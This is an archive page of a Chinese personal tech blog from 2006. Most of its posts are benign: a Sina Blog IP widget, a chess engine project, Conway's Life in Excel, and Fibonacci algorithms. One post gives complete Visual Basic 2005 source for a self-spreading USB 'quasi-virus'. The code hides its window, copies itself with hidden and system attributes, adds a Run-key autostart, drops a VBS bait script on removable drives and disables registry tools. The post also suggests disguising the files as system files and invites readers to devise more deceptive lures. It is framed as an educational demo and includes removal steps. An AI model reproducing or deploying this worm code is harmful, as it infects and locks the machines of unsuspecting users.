教你在新浪Blog上显示来访者IP及地理位置

2006/07/18 | 18:18 | 分类:Web与移动平台 | 标签: | 561次阅读

  想在您的新浪Blog上显示来访者IP及地理位置吗?珊瑚虫工作室近期推出了网页IP地址栏服务,可以方便地在您的网站或者论坛签名档中显示这些信息。

教你在新浪Blog上显示来访者IP及地理位置

  对于新浪Blog用户,只需进入“控制面板”→“个人首页维护”→“自定义空白面板”功能,新建一个空白面板。面板标题随便写,如“IP地址栏”。面板内容处先点击“显示源代码”,然后填入以下代码:

<P align=center><A href="http://www.ip.cn/" target=_blank>
<IMG src="http://www.ip.cn/s.php?maxw=180&minw=180" border=0>
</A></P>

  其中maxw和minw参数限定IP地址栏的最大宽度与最小宽度,经实验,在新浪Blog上用180为佳。此外还可以自定义IP地址栏颜色,详细参数见:IP.cn

  最后,在“控制面板”左边点击“定制我的首页”,在首页编辑界面点击“添加模块”,将刚才那个“IP地址栏”选取,在主页上拖放到合适的位置即可。

  事实上网络上这种小服务很多,我们都可以通过“自定义空白面板”的方式将其加入我们Blog,就看谁的玩法更有创意了!

全国首届象棋计算机博弈锦标赛北理“理治棋壮”博弈引擎简介

2006/07/10 | 22:42 | 分类:团队合作 | 标签: | 413次阅读

  计算机博弈是人工智能领域公认的最具挑战性的科研课题之一。中国象棋是从两军对阵中抽象出来的一种智力游戏,是博弈的一个标准问题。正逢人工智能学科创立50周年之际,由中国人工智能学会主办,东北大学、清华大学、北京理工大学联合承办的全国首届中国象棋计算机博弈锦标赛暨机器博弈学术研讨会将于2006年8月2日——7日在北京举行。我们“理治棋壮”小组将作为北京理工大学代表队参加本次比赛。

  我们此次开发的项目为一个基于中国象棋通用引擎协议(UCCI)的中国象棋计算机博弈引擎。项目采用GNU C++开发,遵循GPL许可,综合体现面向对象思想和软件工程理论,培养团队合作精神和学习创新能力。

  本引擎通过标准输入和标准输出与支持UCCI的中国象棋界面软件通讯,可实现跨平台及联网的人机、机机对战。博弈算法实现的关键技术包括:棋盘表示的数据结构、着法生成、局面评估;其策略核心在于棋局评估函数,核心方法是博弈树搜索。同时开局库和残局库的构建对算法的性能也有重要的影响。

  想让计算机下棋,首先必须解决的问题就是如何把棋盘状态和棋子分布编码到计算机,转化为计算机可以处理的数据格式。着法生成与棋盘数据结构密不可分,如何使两者协调工作,加速对博弈树的操作,尤其是如何在计算机博弈中找到最佳的途径,是博弈爱好者研究的重点。棋局评估就是给棋局打分。在较少的步数内,对局面进行量化,通过数值评判棋局的好坏。评估需要大量的象棋知识,仁者见仁,智者见智,是机器博弈中最为人性化的部分。另外,如果把中国象棋棋谱上一些公认为最佳的开局着法和残局着法存储在数据库中,在开局和残局时用查询取代搜索和评估,那么会大大提高计算机的对弈水平。

  我们的引擎除通讯协议采用标准的UCCI模块外,主体部分将完全独立自主开发。核心算法在参考人工智能和中国象棋领域已有成熟算法的基础上将有所改进和创新,同时我们也将邀请我校一些象棋高手作为局面评估及开局、残局问题的顾问。报名参加本次锦标赛的,既有多位以往计算机博弈界的世界冠军,也有不少像我们一样的新手。预祝我们在比赛中取得良好的成绩!

  附:全国首届中国象棋计算机博弈锦标赛暨机器博弈学术研讨会官方网站:http://www.aigames.cn

用Visual Basic 2005实现通过U盘传播的准计算机病毒

2006/05/24 | 15:36 | 分类:Windows开发 | 标签: | 327次阅读

  计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。从执行机理方面,一般分为文件型病毒、引导型病毒、宏病毒、木马病毒、脚本病毒、蠕虫病毒等。计算机病毒具有生命系统所固有的特性——繁殖、机体集成、不可预见性等。它的生命周期也类似于生物病毒,包括潜伏阶段、传染阶段、触发阶段、发作阶段等。因此研究计算机病毒的方法与研究生物病毒有一定的可比性。病毒技术和反病毒技术这对矛盾在不断的斗争中持续发展,是信息社会安全领域的重要课题。

  计算机病毒最初被认为是顶级编程高手的杰作,但随着编程语言的不断高级化、简单化、专用化,一大批“低技术含量”的病毒开始从一些普通计算机用户的键盘下诞生。下面我们来看用Visual Basic 2005实现的一个通过U盘传播的准计算机病毒。之所以称其为“准计算机病毒”,是因为它能够简单地自发传染但可以控制,有演示性的破坏作用但很容易恢复。

  该病毒存在形式为一可执行程序,由于使用Visual Basic 2005编写,要求宿主计算机安装有.NET Framework v2.0。病毒程序一旦运行,会将自身复制到C盘根目录,将复本设置隐藏属性,并在注册表中添加其启动项。染毒的计算机在插入U盘后,病毒随即将自身复制到U盘根目录(设置隐藏属性),同时新建一个用以启动病毒的“诱饵”文件。用户如果在没有染毒的计算机上执行了“诱饵”文件,会使这台计算机也染毒。作为演示性的破坏作用,计算机染毒后注册表会被锁定。

  我们通过流程图直观说明:

用Visual Basic 2005实现通过U盘传播的准计算机病毒

  下面就开始最重要的编写阶段:新建一个Visual Basic 2005 Windows Form应用程序。既然做的是病毒,就要需要它在用户不可见的情况下偷偷摸摸运行。因此我们首先设置默认窗体的FormBorderStyle为None,Text为空,Size为(0,0),WindowState为Minimized,ShowInTaskbar为False。这样一来,这个程序运行时用户看不到屏幕上会有什么异常。当然病毒进程在Windows任务管理器以及Alt+Tab的任务菜单中还会出现。要让病毒进程消失,涉及一些高级系统调用,这个例子中就不做了。我们可以采用障眼法,将程序的图标(包括窗体的Icon和应用程序属性中的Icon)设为一个不引人注目的图标(如Windows文件夹图标),骗过粗心的用户:

用Visual Basic 2005实现通过U盘传播的准计算机病毒

  再添加一个Timer控件,命名为tmrWatcher,设置其Enabled为True,Interval为5000,用来每隔5秒检查是否有U盘插入。

  在Code窗体中为默认窗体键入如下源代码:

  1. Imports System
  2. Imports System.IO
  3. Imports System.Collections
  4.  
  5. Public Class frmVirus
  6.  
  7.     Private oldDisks As List(Of String) '上一状态的驱动器列表
  8.     Private newDisks As List(Of String) '当前状态的驱动器列表
  9.  
  10.     '初始化驱动器列表
  11.     Private Sub Init()
  12.  
  13.         oldDisks = New List(Of String)
  14.         newDisks = New List(Of String)
  15.  
  16.         Dim di As DriveInfo
  17.         For Each di In My.Computer.FileSystem.Drives
  18.             oldDisks.Add(di.Name)
  19.         Next
  20.  
  21.     End Sub
  22.  
  23.     '检查是否有新的驱动器出现,出现则认为是插入了U盘
  24.     Private Function FindNewDisk() As String
  25.  
  26.         newDisks.Clear()
  27.         Dim di As DriveInfo
  28.         For Each di In My.Computer.FileSystem.Drives
  29.             newDisks.Add(di.Name)
  30.         Next
  31.  
  32.         '一一对照查找当前状态的驱动器有没有在上一状态存在
  33.         Dim i, j As Integer
  34.         Dim found As Boolean
  35.         For i = 0 To newDisks.Count - 1
  36.             found = False
  37.             For j = 0 To oldDisks.Count - 1
  38.                 If newDisks(i) = oldDisks(j) Then
  39.                     found = True
  40.                     Exit For
  41.                 End If
  42.             Next
  43.             If Not found Then
  44.                 Return newDisks(i)  '返回U盘盘符,如“F:\”
  45.             End If
  46.         Next
  47.         Return String.Empty '返回空表示没有新的驱动器出现
  48.  
  49.     End Function
  50.  
  51.     '将病毒体从当前位置复制到参数disk所示的磁盘的根目录
  52.     '(这里简单认为C盘之外的盘符都为U盘)
  53.     Private Sub CopyVirusToDisk(ByVal disk As String)
  54.  
  55.         Dim myname, objname As String
  56.         myname = My.Application.Info.DirectoryPath & "\LynxVirus.exe"
  57.         objname = disk & "\LynxVirus.exe"
  58.  
  59.         If Not File.Exists(objname) Then
  60.             Try
  61.                 '复制自身到目标位置
  62.                 File.Copy(myname, objname, True)
  63.                 '为病毒文件设置“隐藏”、“系统”、“存档”属性,防止被发现
  64.                 File.SetAttributes(objname, FileAttributes.Hidden Or FileAttributes.System Or FileAttributes.Archive)
  65.                 '如果目标位置不是C盘(认为是U盘),则写入一个从U盘启动病毒的“诱饵”文件
  66.                 If disk.ToUpper().Chars(0) <> "C" Then
  67.                     WriteABait(disk)
  68.                 End If
  69.             Catch ex As Exception
  70.             End Try
  71.         End If
  72.  
  73.         '如果当前位置是C盘,则复制之后程序不退出,驻留内存以便向新插入的U盘传染自身
  74.         '如果当前位置不是C盘(认为是U盘),则复制之后启动C盘上的复本,然后退出自身,以便U盘可以正常卸下
  75.         If myname.ToUpper().Chars(0) <> "C" Then
  76.             Dim Info As New System.Diagnostics.ProcessStartInfo()
  77.             Dim Proc As New System.Diagnostics.Process()
  78.             Info.WorkingDirectory = "C:\"
  79.             Info.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
  80.             Info.FileName = "LynxVirus"
  81.             Try
  82.                 Proc = System.Diagnostics.Process.Start(Info)
  83.             Catch ex As Exception
  84.             End Try
  85.             Application.Exit()
  86.         End If
  87.  
  88.     End Sub
  89.  
  90.     '写入一个从U盘启动病毒的“诱饵”文件
  91.     Private Sub WriteABait(ByVal disk As String)
  92.  
  93.         Dim filename As String
  94.         filename = disk & "\Bait.vbs"
  95.  
  96.         Try
  97.             Dim sw As StreamWriter
  98.             sw = File.CreateText(filename)
  99.             '“诱饵”文件通过VBS脚本运行病毒文件
  100.             sw.WriteLine("Set p = WScript.CreateObject(""WScript.Shell"")")
  101.             sw.WriteLine("p.Exec(""LynxVirus"")")
  102.             sw.Flush()
  103.             sw.Close()
  104.         Catch ex As Exception
  105.         End Try
  106.  
  107.     End Sub
  108.  
  109.     '在注册表中添加启动项,使病毒开机自动运行
  110.     Private Sub MakeAutorun()
  111.  
  112.         Try
  113.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run\", True).SetValue("LynxVirus", "C:\LynxVirus.exe", Microsoft.Win32.RegistryValueKind.String)
  114.         Catch ex As Exception
  115.         End Try
  116.  
  117.     End Sub
  118.  
  119.     '病毒对计算机的破坏过程
  120.     Private Sub Destroy()
  121.  
  122.         Try
  123.             If My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\") Is Nothing Then
  124.                 My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\", True).CreateSubKey("System")
  125.             End If
  126.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\", True).SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord)
  127.         Catch ex As Exception
  128.         End Try
  129.  
  130.     End Sub
  131.  
  132.     '病毒程序启动时的初始化
  133.     Private Sub frmVirus_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  134.  
  135.         CopyVirusToDisk("C:\")
  136.         MakeAutorun()
  137.         Init()
  138.         Destroy()
  139.  
  140.     End Sub
  141.  
  142.     '每隔一定时间检查是否有U盘插入,若有则向新插入的U盘传染病毒
  143.     Private Sub tmrWatcher_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrWatcher.Tick
  144.  
  145.         Dim disk = FindNewDisk()
  146.         If disk <> String.Empty Then
  147.             CopyVirusToDisk(disk)
  148.             Init()
  149.         End If
  150.  
  151.     End Sub
  152.  
  153. End Class

  上面代码中LynxVirus.exe、Bait.vbs分别为病毒文件名和“诱饵”文件名,在实际编写的时候可以改为一些具有欺骗性的名称,如Rundll32.exe、prnmngr.vbs。Destroy()函数是病毒破坏过程,可以自行添加一些潜伏性、触发性功能代码或其它破坏性功能代码。

  这个病毒的主要缺陷是自发传染能力不强,可以自动地从硬盘传向U盘,但不能自动地从U盘传向硬盘。事实上一些通过U盘传染的病毒大都使用Autorun.inf、folder.htt等自动运行和自定义文件夹脚本来复制自身到硬盘。但随着Windows安全性能的提高、用户防范意识的增强,这种传染方式已经在大多数计算机上实效了,无故出现的Autorun.inf、folder.htt等文件反而会引起用户警觉。使用“诱饵”文件诱惑用户运行病毒,需要抓住用户的心理。早期的邮件病毒常用“情书”、“中奖信息”等诱惑用户,现在已不盛行。本病毒使用VBS脚本作为“诱饵”也会引发用户的警觉。用什么方法更具欺骗性,留给大家思考。

  了解了这个病毒的机理,清除它的方法也很简单:只要在Windows任务管理器中结束它的进程,删除C盘下的病毒文件,然后解锁注册表(可以通过REG、VBS脚本或第三方工具,网上介绍很多,这里从略),删除其启动项即可。

  通过这个例子我们可以看出,计算机病毒技术并不神秘。学习一些计算机病毒基础理论,了解病毒破坏和传播的机理,对广大计算机用户是很有必要的。亲自动手编程模拟一个病毒,可以加深对理论知识的理解,同时提高信息安全防范意识。

参考资料:
[1]韩筱卿 等,计算机病毒分析与防范大全,电子工业出版社,2006

用Excel实现生命游戏

2006/05/07 | 21:21 | 分类:数学类文档 | 标签: | 598次阅读

用Excel实现生命游戏

  同学的数据结构课程作业是实现生命游戏的演示。经典的生命游戏规则不再赘述,网上也有很多用C等其它编程语言的实现。这里我们看看如何用Excel快速地实现生命游戏。注意我们仅使用Excel函数即可,无需调用宏与VBA。
  步骤:
  1、新建一个空的Excel工作表,选中所有单元格,调小字号,并调整单元格长宽使之成为恰好容纳一个字符的小正方形。
  2、为方便后续观察,对所有单元格设置条件格式:当单元格值为1时背景变为红色。
  3、在A1单元格填0,拖动A1句柄将A1:P16单元格(当然可以更大范围)全部填充为0,表示无生命点。
  4、设置初始生命状态:将B2:O15单元格中任意个填为1,表示有生命点。第1、16行与第A、P列用作边界限制,不作为生命点。
  5、将A18:P33单元格全部填充为0(空出第17行以免上下混淆),用来显示生命过程第一次迭代的结果。
  6、在B19单元格中输入以下公式:
=IF(B2=1,IF(OR(A1+B1+C1+A2+C2+A3+B3+C3=2,A1+B1+C1+A2+C2+A3+B3+C3=3),1,0),IF(A1+B1+C1+A2+C2+A3+B3+C3=3,1,0))
用以计算该位置当前生命状态。拖动B19句柄填充B19:O32单元格,Excel将自动修改公式中的相对引用地址。
  7、A18:P33单元格已随即显示生命过程第一次迭代的结果。将A18:P33单元格选中并复制,依次粘贴到A35:P50、A52:P67等与上次结果相隔一行的位置,Excel将自动计算后续的生命迭代状态。
  8、现在修改A1:P16单元格中的初始生命状态,会看到下方的迭代生命状态自动更新。
  事实上,我们可以把一个Excel单元格理解为一个有限状态的自动机。一群相互关联的自动机在确定的规则(公式)下以相同的周期改变自身状态,从而形成复杂但有序的群体行为。Excel为我们提供了这样一个平面结构的自动机运作平台,大家能否在其基础上构思出一些更有意思、更加实用的应用呢?
  下载:
http://www.linjian.cn/files/excel/LifeGame.rar
http://files.linjian.org/excel/LifeGame.rar

浅议Fibonacci(斐波纳契)数列求解

2006/05/05 | 20:18 | 分类:数学类文档 | 标签: | 1,119次阅读

浅议Fibonacci(斐波纳契)数列求解

  Fibonacci数列:

浅议Fibonacci(斐波纳契)数列求解

  描述了动物繁殖数量、植物花序变化等自然规律。作为一个经典的数学问题,Fibonacci数列常作为例子出现在程序设计、数据结构与算法等多个相关学科中。

  下面简单地分析一下常见的Fibonacci数列求解算法。

  1、递归法。大多数教材在讲解递归算法时总喜欢以Fibonacci数列为例,这是因为我们可以直观地从定义公式的第三行看出Fibonacci数列的递归性。其C++实现如下:

unsigned long Fib(int n)
{
    if (n <= 1) {
        return n;
    } else {
        return Fib(n - 1) + Fib(n - 2);
    }
}

  递归算法与定义公式十分吻合,容易理解,但计算过程存在大量重复的运算,时间复杂度达到了O(2^n),使用的内存空间也随着函数调用栈的增长而增长。这显然不适于实用的程序。

  2、表驱动的递归法。这里不提纯粹的表驱动法,因为对于项数未知的Fibonacci数列开启大片的空间来换取时间未免不值得且不负责。我们只是为了消除递归法中大量重复的运算,可以将已经计算过的中间值存入一个表,已备后续使用:

#define MAX_LOG 20
static unsigned long Logs[MAX_LOG] = {0};
unsigned long Fib(int n)
{
    if (n <= 1) {
        return n;
    } else if (n < MAX_LOG && Logs[n] != 0) {
        return Logs[n];
    } else {
        Logs[n] = Fib(n - 1) + Fib(n - 2);
        return Logs[n];
    }
}

  当n小于保存的表长时,由于每个中间值只计算一次,时间复杂度降为O(n)。但随着n的增大,要想维持O(n)的时间复杂度,就必须扩大保存的表长,这就造成了存储空间的浪费。

  3、迭代法。求Fibonacci数列第n项时虽然要用到前面两项的值,但它们仅作为临时计算的中间值,不作为结果输出,因此无保留的必要,完全可以转化成迭代法求解:

unsigned long Fib(int n)
{
    int i;
    unsigned long a = 0, b = 1, c;
    if (n <= 1) {
        return n;
    } else {
        for (i = 2; i <= n; i++) {
            c = a + b;
            a = b;
            b = c;
        }
        return c;
    }
}

  迭代法的时间复杂度为O(n),使用的内存空间也不会动态上涨。个人认为Fibonacci数列更适宜作为迭代法而非递归法的典例出现在教材上。

  下面给出两种数学性较强的算法。考虑到表达的简洁性,用Matlab实现:

  4、转移矩阵法。此方法通常见于线性代数中的Markov过程示例。Fibonacci数列第n项与第n-1项可以通过转移矩阵的n-1次迭代求出:

浅议Fibonacci(斐波纳契)数列求解

  代码如下:

function y = Fib(n)
    first = [1; 0];
    trans = [1 1; 1 0];
    last = trans ^ (n - 1) * first;
    y = last(1, 1);
end

  此算法的时间复杂度相当于计算矩阵乘方的时间复杂度。在计算2阶矩阵n次方时,如果直接按矩阵乘法定义式展开,不加特别优化,其时间复杂度为O(n)。

  5、通项公式法。Fibonacci数列的通项公式如下(证明略):

浅议Fibonacci(斐波纳契)数列求解

  利用通项公式可以得到Fibonacci数列的任何项:

function y = Fib(n)
    sr5 = sqrt(5);
    y = uint32((((1 + sr5) / 2) ^ n - ((1 - sr5) / 2) ^ n) / sr5);
end

  该方法的时间复杂度貌似为O(1),但我们还应该考虑乘方运算的时间消耗。不加特别优化时,用乘法实现n次乘方的时间复杂度为O(n)。考虑到浮点数计算效率和精度问题,此方法在计算机实现时不如转移矩阵法。

  下面再给出两种对计算机实现有特别意义,但同时有一定局限性的实现方法(只是实现方法,不能称为新的算法)。其中使用了一些C++编程技巧,对使用其它语言实现也有一定的参考价值:

  6、模板元编程法。通常我们在C++中使用模板,仅限于类模板与函数模板。事实上C++支持模板元编程,理论上可以在编译时执行任何计算(甚至包含选择、循环、递归等结构)。代码如下:

#define Fib(N) FibT<N>::Val
template<int n> struct FibT
{
    enum
    {
        Val = FibT<n - 1>::Val + FibT<n - 2>::Val
    };
};
template<> struct FibT<0>
{
    enum
    {
        Val = 0
    };
};
template<> struct FibT<1>
{
    enum
    {
        Val = 1
    };
};

  我们用一个结构体作为模板的载体,用一个枚举值保存运算结果。其中第一个模板为基本递归过程(使用递归算法是为了说明的简便,完全可以用其它算法替代,以加速编译过程),后两个模板为n=0、1时的模板特化。通过#define语句将模板调用简写成类似函数调用的方式。程序在编译时运算所需的 Fibonacci数列项,将结果作为常量嵌入编译好的程序。运行时直接使用结果,时间复杂度真正地变成了O(1)。但这一方法最大的局限就是只能对常量嵌入,程序中出现诸如计算Fib(i++)的情况则无能为力。尽管如此,这比在代码中手工计算并写入所需的值要直观准确,比通过纯粹的表驱动法“空间换时间”要方便快捷。

  7、函数对象法。此方法主要用于C++ STL编程的通用算法方面,其执行行为也有别于以上其它方法:

class Fib
{
public:
    Fib() : a(0), b(1), n(0)
    {
    }
    unsigned long operator()()
    {
        if (n <= 1) {
            n++;
            return n - 1;
        } else {
            int c;
            c = a + b;
            a = b;
            b = c;
            return c;
        }
    }
private:
    int a, b, n;
};

  这个函数类对象的行为可以理解为一个“Fibonacci数列发生器”,其测试性调用如下,程序将依次打印

void test(int i)
{
    Fib fib;
    do {
        cout << fib() << endl;
    } while (i--);
}

  函数对象具有与函数指针类似的行为,同时又能保存自身的一些属性,因此常用于STL通用算法编程。但针对单个的Fibonacci数列项求值,灵活性不如一般的方法。

  希望读者能够从上面的算法分析中举一反三,有所领悟。

参考资料:
  1、Bruce Eckel,Thinking In C++ Volume 2: Practical Programming,机械工业出版社,2006
  2、William J. Collins,Data Structures and the Standard Template Library,机械工业出版社,2003
  3、Knott's Surrey University,The Home page for Fibonacci Numbers and the Golden Section,http://www.mcs.surrey.ac.uk/Personal/R.Knott/Fibonacci/

页面存档: 上页 1 2 3 ...34 35 36 37 38 ...44 45 46 下页